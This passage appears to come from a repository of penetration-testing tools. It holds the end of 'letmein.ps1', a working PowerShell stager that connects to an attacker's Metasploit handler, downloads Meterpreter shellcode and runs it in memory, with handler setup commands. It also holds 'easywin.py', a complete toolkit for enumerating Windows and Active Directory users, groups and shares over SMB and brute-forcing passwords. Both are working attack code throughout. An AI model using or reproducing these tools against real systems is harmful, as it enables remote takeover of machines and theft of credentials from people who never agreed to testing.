https://github.com/Veil-Framework/Veil/blob/master/Tools/Evasion/payloads/powershell/meterpreter 71 | 72 | .EXAMPLE 73 | 74 | .\letmein.ps1 192.168.100.42 4444 # reverse_tcp stager 75 | 76 | Don't forget to enable script execution on the target box: 77 | Set-ExecutionPolicy RemoteSigned 78 | 79 | On the attack box, you should run the following commands: 80 | $ msfconsole 81 | msf > use exploit/multi/handler 82 | msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp 83 | msf > set LHOST 192.168.100.42 84 | msf > set EXITFUNC thread # optional 85 | msf > exploit 86 | 87 | .EXAMPLE 88 | 89 | .\letmein.ps1 4444 # bind_tcp stager 90 | 91 | Don't forget to enable script execution on the target box: 92 | Set-ExecutionPolicy RemoteSigned 93 | 94 | On the attack box, you should run the following commands: 95 | $ msfconsole 96 | msf > use exploit/multi/handler 97 | msf > set PAYLOAD windows/x64/meterpreter/bind_tcp 98 | msf > set EXITFUNC thread # optional 99 | msf > exploit 100 | 101 | .EXAMPLE 102 | 103 | .\letmein.ps1 -URL https://192.168.100.42:8443 # reverse_https stager 104 | 105 | Don't forget to enable script execution on the target box: 106 | Set-ExecutionPolicy RemoteSigned 107 | 108 | On the attack box, you should run the following commands: 109 | $ msfconsole 110 | msf > use exploit/multi/handler 111 | msf > set PAYLOAD windows/x64/meterpreter/reverse_https 112 | msf > set EXITFUNC thread # optional 113 | msf > exploit 114 | 115 | #> 116 | 117 | # Get command line parameters 118 | [CmdLetBinding(DefaultParameterSetName = "bind")] 119 | Param( 120 | # IP address 121 | [Parameter(ParameterSetName = "reverse", Position = 0, Mandatory = $True)] 122 | [ValidateScript({$_ -match [IPAddress] $_})] 123 | [String] $IPAddress, 124 | 125 | # Port 126 | [Parameter(ParameterSetName = "reverse", Position = 1)] 127 | [Parameter(ParameterSetName = "bind", Position = 0)] 128 | [ValidateRange(1, 65535)] 129 | [Int] $Port = 4444, 130 | 131 | # URL 132 | [Parameter(ParameterSetName = "http", Mandatory = $True)] 133 | [ValidatePattern("^(http|https)://")] 134 | [String] $URL, 135 | 136 | # Proxy 137 | [Parameter(ParameterSetName = "http")] 138 | [Switch] $Proxy = $False 139 | ) 140 | 141 | # Helper function ripped from PowerSploit's Invoke-Shellcode.ps1 142 | function Local:Get-ProcAddress 143 | { 144 | Param( 145 | [OutputType([IntPtr])] 146 | 147 | [Parameter(Position = 0, Mandatory = $True)] 148 | [String] $Module, 149 | 150 | [Parameter(Position = 1, Mandatory = $True)] 151 | [String] $Procedure 152 | ) 153 | 154 | # Get a reference to System.dll in the GAC 155 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | 156 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 157 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 158 | 159 | # Get a reference to the GetModuleHandle and GetProcAddress methods 160 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 161 | # Specify parameters to avoid AmbiguousMatchException on recent Windows versions 162 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]] @([System.Runtime.InteropServices.HandleRef], [String])) 163 | 164 | # Get a handle to the module specified 165 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 166 | $tmpPtr = New-Object IntPtr 167 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 168 | 169 | # Return the address of the function 170 | Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef] $HandleRef, $Procedure)) 171 | } 172 | 173 | # Helper function ripped from PowerSploit's Invoke-Shellcode.ps1 174 | function Local:Get-DelegateType 175 | { 176 | Param( 177 | [OutputType([Type])] 178 | 179 | [Parameter(Position = 0)] 180 | [Type[]] $Parameters = (New-Object Type[](0)), 181 | 182 | [Parameter(Position = 1)] 183 | [Type] $ReturnType = [Void] 184 | ) 185 | 186 | $Domain = [AppDomain]::CurrentDomain 187 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 188 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 189 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 190 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 191 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) 192 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 193 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 194 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 195 | 196 | Write-Output $TypeBuilder.CreateType() 197 | } 198 | 199 | # Receive a Meterpreter payload via TCP 200 | function Local:Receive-Payload 201 | { 202 | # Read 4-byte payload length 203 | Write-Debug "Reading 4-byte payload length" 204 | $buffer = New-Object System.Byte[] 4 205 | $read = $stream.Read($buffer, 0, 4) 206 | $length = [BitConverter]::ToInt32($buffer, 0) 207 | 208 | # Prepend some ASM to MOV the socket handle into EDI 209 | # (64-bit version doesn't seem to be necessary for x64) 210 | # mov edi, 0x12345678 ; BF 78 56 34 12 (32-bit) 211 | # mov rdi, 0x12345678 ; 48 BF 78 56 34 12 00 00 00 00 (64-bit) 212 | Write-Debug "Prepending MOV EDI, to the payload" 213 | $buffer = [BitConverter]::GetBytes($client.Client.Handle.ToInt32()) 214 | $payload = New-Object System.Byte[] ($length + 5) 215 | $payload[0] = 0xBF 216 | $payload[1] = $buffer[0] 217 | $payload[2] = $buffer[1] 218 | $payload[3] = $buffer[2] 219 | $payload[4] = $buffer[3] 220 | 221 | # Download the Meterpreter payload 222 | Write-Debug "Downloading the Meterpreter payload" 223 | $read = $stream.Read($payload, 5, $length) 224 | while ($read -lt $length) { 225 | $read += $stream.Read($payload, ($read + 5), ($length - $read)) 226 | } 227 | } 228 | 229 | # Execute a Windows payload 230 | function Local:Invoke-Payload 231 | { 232 | # Allocate a RWX memory region 233 | # VirtualAlloc(0, len(d), MEM_COMMIT, PAGE_EXECUTE_READWRITE) 234 | Write-Debug "Allocating a RWX memory region" 235 | $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc 236 | $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) 237 | $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) 238 | $ptr = $VirtualAlloc.Invoke([IntPtr]::Zero, $payload.Length + 1, 0x3000, 0x40) 239 | 240 | # Copy the shellcode 241 | Write-Debug "Copying the shellcode" 242 | [System.Runtime.InteropServices.Marshal]::Copy($payload, 0, $ptr, $payload.Length) 243 | 244 | # Execute the shellcode 245 | Write-Debug "Executing the shellcode" 246 | $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread 247 | $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) 248 | $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) 249 | $ht = $CreateThread.Invoke([IntPtr]::Zero, 0, $ptr, [IntPtr]::Zero, 0, [IntPtr]::Zero) 250 | 251 | # Wait for the shellcode to finish running 252 | Write-Debug "Waiting for the shellcode to finish running" 253 | $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject 254 | $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) 255 | $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) 256 | $WaitForSingleObject.Invoke($ht, 0xFFFFFFFF) | Out-Null 257 | } 258 | 259 | # Start a reverse_tcp stager 260 | function Local:Start-Reverse 261 | { 262 | # Connect to reverse_tcp exploit/multi/handler 263 | Write-Verbose "Connecting to reverse_tcp exploit/multi/handler" 264 | try { 265 | $client = New-Object System.Net.Sockets.TcpClient($IPAddress, $Port) 266 | $stream = $client.GetStream() 267 | } catch { 268 | $err = $_.Exception.Message 269 | Write-Host $err 270 | exit 271 | } 272 | 273 | # Receive and execute the Meterpreter payload 274 | Write-Verbose "Receiving and executing the Meterpreter payload" 275 | try { 276 | . Receive-Payload 277 | . Invoke-Payload 278 | } catch { 279 | $err = $_.Exception.Message 280 | Write-Host $err 281 | exit 282 | } finally { 283 | # Perform cleanup actions 284 | Write-Verbose "Performing cleanup actions" 285 | $stream.Close() 286 | $client.Close() 287 | $stream.Dispose() 288 | } 289 | } 290 | 291 | # Start a bind_tcp stager 292 | function Local:Start-Bind 293 | { 294 | # Open a port for bind_tcp exploit/multi/handler 295 | Write-Verbose "Opening port for bind_tcp exploit/multi/handler" 296 | try { 297 | $endpoint = New-Object System.Net.IPEndPoint([IPAddress]::any, $Port) 298 | $listener = New-Object System.Net.Sockets.TcpListener $endpoint 299 | $listener.start() 300 | $client = $listener.AcceptTcpClient() 301 | $stream = $client.GetStream() 302 | } catch { 303 | $err = $_.Exception.Message 304 | Write-Host $err 305 | exit 306 | } 307 | 308 | # Receive and execute the Meterpreter payload 309 | Write-Verbose "Receiving and executing the Meterpreter payload" 310 | try { 311 | . Receive-Payload 312 | . Invoke-Payload 313 | } catch { 314 | $err = $_.Exception.Message 315 | Write-Host $err 316 | exit 317 | } finally { 318 | # Perform cleanup actions 319 | Write-Verbose "Performing cleanup actions" 320 | $stream.Close() 321 | $client.Close() 322 | $listener.Stop() 323 | $stream.Dispose() 324 | } 325 | } 326 | 327 | # Start a reverse_http(s) stager 328 | function Local:Start-HTTP 329 | { 330 | # Helper functions ripped from Veil-Framework's rev_https.py 331 | $d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray() 332 | function c($v) { return (([Int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92) } 333 | function t { $f = ""; 1..3 | ForEach-Object { $f += $d[(Get-Random -Maximum $d.Length)] }; return $f } 334 | function e { Process { [Array] $x = $x + $_ }; End { $x | Sort-Object {(New-Object Random).next()} } } 335 | function g { for ($i = 0; $i -lt 64; $i++) { $h = t; $k = $d | e; foreach ($l in $k) { $s = $h + $l; if (c($s)) {return $s} } } return "9vXU" } 336 | $URL = $URL + "/" + (g) 337 | 338 | # Connect to reverse_http(s) exploit/multi/handler 339 | Write-Verbose "Connecting to reverse_http(s) exploit/multi/handler" 340 | try { 341 | # Disable SSL certificate validation 342 | [Net.ServicePointManager]::ServerCertificateValidationCallback = { $True } 343 | $client = New-Object System.Net.WebClient 344 | $client.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)") 345 | if ($Proxy) { 346 | # Use system proxy settings 347 | $p = [System.Net.WebRequest]::GetSystemWebProxy() 348 | $p.Credentials = [System.Net.CredentialCache]::DefaultCredentials 349 | $client.Proxy = $p 350 | $client.UseDefaultCredentials = $True 351 | } 352 | [System.Byte[]] $payload = $client.DownloadData($URL) 353 | } catch { 354 | $err = $_.Exception.Message 355 | Write-Host $err 356 | exit 357 | } 358 | 359 | # Execute the Meterpreter payload 360 | Write-Verbose "Executing the Meterpreter payload" 361 | try { 362 | . Invoke-Payload 363 | } catch { 364 | $err = $_.Exception.Message 365 | Write-Host $err 366 | exit 367 | } finally { 368 | # Perform cleanup actions 369 | Write-Verbose "Performing cleanup actions" 370 | $client.Dispose() 371 | } 372 | } 373 | 374 | Write-Host "letmein.ps1 1.1 - PowerShell Stager for Metasploit Framework" 375 | Write-Host "Copyright (c) 2017-2018 Marco Ivaldi `n" 376 | 377 | # Choose the mode of operation 378 | switch ($PsCmdlet.ParameterSetName) 379 | { 380 | "reverse" { 381 | Write-Host "Connecting to reverse_tcp handler at ${IPAddress}:${Port}`n" 382 | . Start-Reverse 383 | break 384 | } 385 | "bind" { 386 | Write-Host "Listening for bind_tcp handler connection at port ${Port}`n" 387 | . Start-Bind 388 | break 389 | } 390 | "http" { 391 | Write-Host "Connecting to reverse_http(s) handler at $URL`n" 392 | . Start-HTTP 393 | break 394 | } 395 | } 396 | -------------------------------------------------------------------------------- /easywin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | easywin.py 0.2 - Windows and AD Tactical Exploitation Toolkit 5 | Copyright (c) 2017-2018 Marco Ivaldi 6 | 7 | "The Other Way to Pen-Test" --HD Moore & Valsmith 8 | 9 | If you're like me, when performing a penetration test you 10 | prefer to go for the easy win. Easywin is a Python script 11 | that provides a toolkit for exploit-less attacks aimed at 12 | Windows and Active Directory environments, by leveraging 13 | information gathering and brute force capabilities against 14 | the SMB protocol. 15 | 16 | Based on: 17 | http://www.0xdeadbeef.info/code/samba-hax0r 18 | https://github.com/portcullislabs/enum4linux 19 | 20 | Requirements: 21 | Python 3 (https://pythonclock.org/ is ticking...) 22 | Samba (smbclient, rpcclient, net) 23 | Impacket with polenum.py from https://github.com/0xdea/polenum 24 | 25 | Example usage: 26 | $ ./easywin.py info -f hosts.txt -a 27 | $ ./easywin.py brute -f hosts.txt -u users.txt 28 | 29 | TODO: 30 | Add check to determine if the target host/service is up 31 | Enumerate Group Policy Preference (GPP) Saved Passwords 32 | Improve error handling (e.g. external command not found) 33 | Avoid using external commands (it works but it's ugly!) 34 | 35 | Get the latest version at: 36 | https://github.com/0xdea/tactical-exploitation/ 37 | """ 38 | 39 | VERSION = "0.2" 40 | BANNER = """ 41 | easywin.py {0} - Windows and AD Tactical Exploitation Toolkit 42 | Copyright (c) 2017-2018 Marco Ivaldi 43 | """.format(VERSION) 44 | 45 | import sys 46 | import argparse 47 | import subprocess 48 | import re 49 | 50 | def info(args): 51 | """ 52 | Information gathering handler 53 | """ 54 | 55 | domain = args.D 56 | username = args.U 57 | password = args.P 58 | start = args.S 59 | end = args.E 60 | targets = get_targets(args) 61 | 62 | if start > end: 63 | print("// error: start sid cannot be greater than end sid") 64 | sys.exit(1) 65 | 66 | if args.all: # get users, groups, and shares 67 | args.all = False 68 | args.users = True 69 | args.groups = True 70 | args.shares = True 71 | args.policy = False 72 | args.rid = False 73 | 74 | for host in targets: 75 | 76 | if args.users: # get user list 77 | info_users(domain, username, password, host) 78 | 79 | if args.groups: # get group list and membership 80 | info_groups(domain, username, password, host) 81 | 82 | if args.shares: # get share list 83 | info_shares(domain, username, password, host) 84 | 85 | if args.policy: # get password policy 86 | info_policy(domain, username, password, host) 87 | 88 | if args.rid: # get users and groups via rid cycling 89 | info_rid(domain, username, password, host, start, end) 90 | 91 | def info_users(domain, username, password, host): 92 | """ 93 | Get user list 94 | """ 95 | 96 | print("*** users on {3} ({0}\{1}:{2}) ***\n" 97 | .format(domain, username, password, host)) 98 | 99 | # get user list (querydispinfo) 100 | cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c querydispinfo 2>&1" 101 | .format(domain, username, password, host)) 102 | try: 103 | o = subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE) 104 | except (KeyboardInterrupt, SystemExit): 105 | sys.exit(1) 106 | except: 107 | pass 108 | else: 109 | print(o.stdout.decode(sys.stdout.encoding)) 110 | 111 | # get user list (enumdomusers) 112 | cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c enumdomusers 2>&1" 113 | .format(domain, username, password, host)) 114 | try: 115 | o = subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE) 116 | except (KeyboardInterrupt, SystemExit): 117 | sys.exit(1) 118 | except: 119 | pass 120 | else: 121 | print(o.stdout.decode(sys.stdout.encoding)) 122 | 123 | def info_groups(domain, username, password, host): 124 | """ 125 | Get group list and membership 126 | """ 127 | 128 | output = b"" 129 | 130 | print("*** groups on {3} ({0}\{1}:{2}) ***\n" 131 | .format(domain, username, password, host)) 132 | 133 | # get group list (enumalsgroups) 134 | for grouptype in ["builtin", "domain"]: 135 | cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c 'enumalsgroups {4}' 2>&1" 136 | .format(domain, username, password, host, grouptype)) 137 | try: 138 | o = subprocess.run(cmd, shell=True, check=True, 139 | stdout=subprocess.PIPE) 140 | except (KeyboardInterrupt, SystemExit): 141 | sys.exit(1) 142 | except: 143 | pass 144 | else: 145 | output += o.stdout 146 | 147 | # get group list (enumdomgroups) 148 | cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c enumdomgroups 2>&1" 149 | .format(domain, username, password, host)) 150 | try: 151 | o = subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE) 152 | except (KeyboardInterrupt, SystemExit): 153 | sys.exit(1) 154 | except: 155 | pass 156 | else: 157 | output += o.stdout 158 | 159 | if not output: return 160 | res = output.decode(sys.stdout.encoding) 161 | print(res) 162 | 163 | p = re.compile("\[.+\] ") 164 | groups = p.findall(res) 165 | if not groups: return 166 | 167 | # get group membership 168 | for group in groups: 169 | print(group) 170 | cmd = ("net rpc group members '{4}' -W'{0}' -U'{1}%{2}' -I {3} 2>&1" 171 | .format(domain, username, password, host, group[1:-2])) 172 | try: 173 | o = subprocess.run(cmd, shell=True, check=True, 174 | stdout=subprocess.PIPE) 175 | except (KeyboardInterrupt, SystemExit): 176 | sys.exit(1) 177 | except: 178 | pass 179 | else: 180 | print(o.stdout.decode(sys.stdout.encoding)) 181 | 182 | def info_shares(domain, username, password, host): 183 | """ 184 | Get share list 185 | """ 186 | 187 | output = b"" 188 | 189 | print("*** shares on {3} ({0}\{1}:{2}) ***\n" 190 | .format(domain, username, password, host)) 191 | 192 | # get share list 193 | cmd = ("smbclient -W'{0}' -U'{1}%{2}' -L //{3} 2>&1" 194 | .format(domain, username, password, host)) 195 | try: 196 | o = subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE) 197 | except (KeyboardInterrupt, SystemExit): 198 | sys.exit(1) 199 | except: 200 | pass 201 | else: 202 | output += o.stdout 203 | 204 | if not output: return 205 | res = output.decode(sys.stdout.encoding) 206 | 207 | p = re.compile("\n\s+\S+\s+(?:Disk|IPC|Printer).+") 208 | shares = p.findall(res) 209 | if not shares: return 210 | 211 | # map and print shares 212 | for descr in shares: 213 | share = descr.split()[0] 214 | cmd = ("smbclient -W'{0}' -U'{1}%{2}' '//{3}/{4}' -c dir 2>&1" 215 | .format(domain, username, password, host, share)) 216 | try: 217 | o = subprocess.run(cmd, shell=True, check=True, 218 | stdout=subprocess.PIPE) 219 | except (KeyboardInterrupt, SystemExit): 220 | sys.exit(1) 221 | except: 222 | print("[ ] Access Denied\t{0}".format(descr.lstrip())) 223 | else: 224 | print("[x] Access Granted\t{0}".format(descr.lstrip())) 225 | else: 226 | print() 227 | 228 | def info_policy(domain, username, password, host): 229 | """ 230 | Get password policy 231 | """ 232 | 233 | print("*** policy on {3} ({0}\{1}:{2}) ***\n" 234 | .format(domain, username, password, host)) 235 | 236 | # get password policy 237 | cmd = ("polenum.py '{1}:{2}@{3}' 2>&1" 238 | .format(domain, username, password, host)) 239 | try: 240 | o = subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE) 241 | except (KeyboardInterrupt, SystemExit): 242 | sys.exit(1) 243 | except: 244 | print("// error launching polenum.py") 245 | else: 246 | print(o.stdout.decode(sys.stdout.encoding).strip()) 247 | 248 | print() 249 | 250 | def info_rid(domain, username, password, host, start, end): 251 | """ 252 | Get users and groups via RID cycling 253 | """ 254 | 255 | output = b"" 256 | known_users = ["administrator", 257 | "guest", 258 | "krbtgt", 259 | "domain admins", 260 | "root", 261 | "none"] 262 | 263 | print("*** rid cycling on {3} ({0}\{1}:{2}) ({4}-{5}) ***\n" 264 | .format(domain, username, password, host, start, end)) 265 | 266 | # get sids (lookupnames) 267 | for user in known_users: 268 | cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c 'lookupnames {4}' 2>&1" 269 | .format(domain, username, password, host, user)) 270 | try: 271 | o = subprocess.run(cmd, shell=True, check=True, 272 | stdout=subprocess.PIPE) 273 | except (KeyboardInterrupt, SystemExit): 274 | sys.exit(1) 275 | except: 276 | pass 277 | else: 278 | output += o.stdout 279 | 280 | # get sids (lsaenumsid) 281 | cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c lsaenumsid 2>&1" 282 | .format(domain, username, password, host)) 283 | try: 284 | o = subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE) 285 | except (KeyboardInterrupt, SystemExit): 286 | sys.exit(1) 287 | except: 288 | pass 289 | else: 290 | output += o.stdout 291 | 292 | if not output: return 293 | res = output.decode(sys.stdout.encoding) 294 | 295 | # parse sids 296 | p = re.compile("(S-1-5-21-[\d-]+)-") # windows 297 | sids = set(p.findall(res)) 298 | p = re.compile("(S-1-22-[\d-]+)-") # unix 299 | sids |= set(p.findall(res)) 300 | if not sids: return 301 | 302 | # perform rid cycling for each sid found 303 | for sid in sorted(sids): 304 | cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c 'lookupsids {4}' 2>&1" 305 | .format(domain, username, password, host, sid)) 306 | try: 307 | o = subprocess.run(cmd, shell=True, check=True, 308 | stdout=subprocess.PIPE) 309 | except (KeyboardInterrupt, SystemExit): 310 | sys.exit(1) 311 | except: 312 | pass 313 | else: 314 | print("[{0}]".format(o.stdout.decode(sys.stdout.encoding).rstrip())) 315 | 316 | # enumerate objects via rid cycling 317 | for i in range(start, end + 1): 318 | rid = sid + "-" + str(i) 319 | cmd = ("rpcclient -W'{0}' -U'{1}%{2}' {3} -c 'lookupsids {4}' 2>&1" 320 | .format(domain, username, password, host, rid)) 321 | try: 322 | o = subprocess.run(cmd, shell=True, check=True, 323 | stdout=subprocess.PIPE) 324 | except (KeyboardInterrupt, SystemExit): 325 | sys.exit(1) 326 | except: 327 | pass 328 | else: 329 | print(o.stdout.decode(sys.stdout.encoding), end="") 330 | 331 | print() 332 | 333 | def brute(args): 334 | """ 335 | Brute force handler 336 | """ 337 | 338 | domain = args.d 339 | usernames = [u.rstrip() for u in args.u] 340 | passwords = [] 341 | if args.p: 342 | passwords = [p.rstrip() for p in args.p] 343 | targets = get_targets(args) 344 | found_glob = 0 345 | 346 | for host in targets: 347 | 348 | found_host = 0 349 | 350 | if passwords: # test username:username and username:password 351 | for username in usernames: 352 | if brute_do(domain, username, username, host): 353 | found_host += 1 354 | continue 355 | for password in passwords: 356 | if brute_do(domain, username, password, host): 357 | found_host += 1 358 | break 359 | 360 | else: # test only username:username 361 | for username in usernames: 362 | found_host += brute_do(domain, username, username, host) 363 | 364 | found_glob += found_host 365 | print("\n*** {0} accounts found on {1} ***\n".format(found_host, host)) 366 | 367 | print("*** {0} accounts found globally ***\n".format(found_glob)) 368 | 369 | def brute_do(domain, username, password, host): 370 | """ 371 | Perform the brute force attack 372 | """ 373 | 374 | cmd = ("smbclient -W{0} -U'{1}%{2}' -L {3} >/dev/null 2>&1" 375 | .format(domain, username, password, host)) 376 | try: 377 | subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE) 378 | except (KeyboardInterrupt, SystemExit): 379 | sys.exit(1) 380 | except: 381 | # invalid credentials 382 | print("[ ]\t{3}\t{0}\{1}:{2}".format(domain, username, password, host)) 383 | return 0 384 | else: 385 | # valid credentials 386 | print("[x]\t{3}\t{0}\{1}:{2}".format(domain, username, password, host)) 387 | return 1 388 | 389 | def get_targets(args): 390 | """ 391 | Get targets for info or brute mode 392 | """ 393 | 394 | if args.t: return [args.t] 395 | return [t.rstrip() for t in args.f] 396 | 397 | def get_args(): 398 | """ 399 | Get command line arguments 400 | """ 401 | 402 | parser = argparse.ArgumentParser() 403 | subparsers = parser.add_subparsers( 404 | title="commands", 405 | help="choose mode of operation") 406 | 407 | # info gathering mode 408 | parser_i = subparsers.add_parser( 409 | "info", 410 | help="enter info gathering mode") 411 | parser_i.set_defaults(func=info) 412 | 413 | # info: actions 414 | group_i_actions = parser_i.add_mutually_exclusive_group(required=True) 415 | group_i_actions.add_argument( 416 | "-u", "--users", 417 | action="store_true", 418 | help="get user list") 419 | group_i_actions.add_argument( 420 | "-g", "--groups", 421 | action="store_true", 422 | help="get group list and membership") 423 | group_i_actions.add_argument( 424 | "-s", "--shares", 425 | action="store_true", 426 | help="get share list") 427 | group_i_actions.add_argument( 428 | "-p", "--policy", 429 | action="store_true", 430 | help="get password policy") 431 | group_i_actions.add_argument( 432 | "-r", "--rid", 433 | action="store_true", 434 | help="get users and groups via rid cycling") 435 | group_i_actions.add_argument( 436 | "-a", "--all", 437 | action="store_true", 438 | help="get users, groups, and shares") 439 | 440 | # info: targets 441 | group_i_targets = parser_i.add_mutually_exclusive_group(required=True) 442 | group_i_targets.add_argument( 443 | "-t", 444 | metavar="HOST", 445 | help="specify target hostname or IP address") 446 | group_i_targets.add_argument( 447 | "-f", 448 | metavar="FILE", 449 | type=argparse.FileType("r"), 450 | help="specify file containing a list of targets") 451 | 452 | # info: authentication 453 | parser_i.add_argument( 454 | "-D", 455 | metavar="DOMAIN", 456 | default=".", 457 | help="specify domain/workgroup to use") 458 | parser_i.add_argument( 459 | "-U", 460 | metavar="USER", 461 | default="", 462 | help="specify username to use") 463 | parser_i.add_argument( 464 | "-P", 465 | metavar="PASS", 466 | default="", 467 | help="specify password to use") 468 | 469 | # info: rid cycling 470 | parser_i.add_argument( 471 | "-S", 472 | metavar="START", 473 | type=int, 474 | default=500, 475 | help="specify start rid (default: 500)") 476 | parser_i.add_argument( 477 | "-E", 478 | metavar="END", 479 | type=int, 480 | default=1100, 481 | help="specify end rid (default: 1100)") 482 | 483 | # brute force mode 484 | parser_b = subparsers.add_parser( 485 | "brute", 486 | help="enter brute force mode") 487 | parser_b.set_defaults(func=brute) 488 | 489 | # brute: targets 490 | group_b_targets = parser_b.add_mutually_exclusive_group(required=True) 491 | group_b_targets.add_argument( 492 | "-t", 493 | metavar="HOST", 494 | help="specify target hostname or IP address") 495 | group_b_targets.add_argument( 496 | "-f", 497 | metavar="FILE", 498 | type=argparse.FileType("r"), 499 | help="specify file containing a list of targets") 500 | 501 | # brute: credentials 502 | parser_b.add_argument( 503 | "-u", 504 | metavar="USERFILE", 505 | type=argparse.FileType("r"), 506 | required=True, 507 | help="specify user list") 508 | parser_b.add_argument( 509 | "-p", 510 | metavar="PASSFILE", 511 | type=argparse.FileType("r"), 512 | help="specify password list") 513 | parser_b.add_argument( 514 | "-d", 515 | metavar="DOMAIN", 516 | default=".", 517 | help="specify domain/workgroup to use") 518 | 519 | if len(sys.argv) == 1: 520 | parser.print_help() 521 | sys.exit(0) 522 | 523 | return parser.parse_args() 524 | 525 | def main(): 526 | """ 527 | Main function 528 | """ 529 | 530 | print(BANNER) 531 | 532 | if sys.version_info[0] != 3: 533 | print("// error: this script requires python 3") 534 | sys.exit(1) 535 | 536 | args = get_args() 537 | args.func(args) 538 | 539 | if __name__ == "__main__": 540 | main() 541 | --------------------------------------------------------------------------------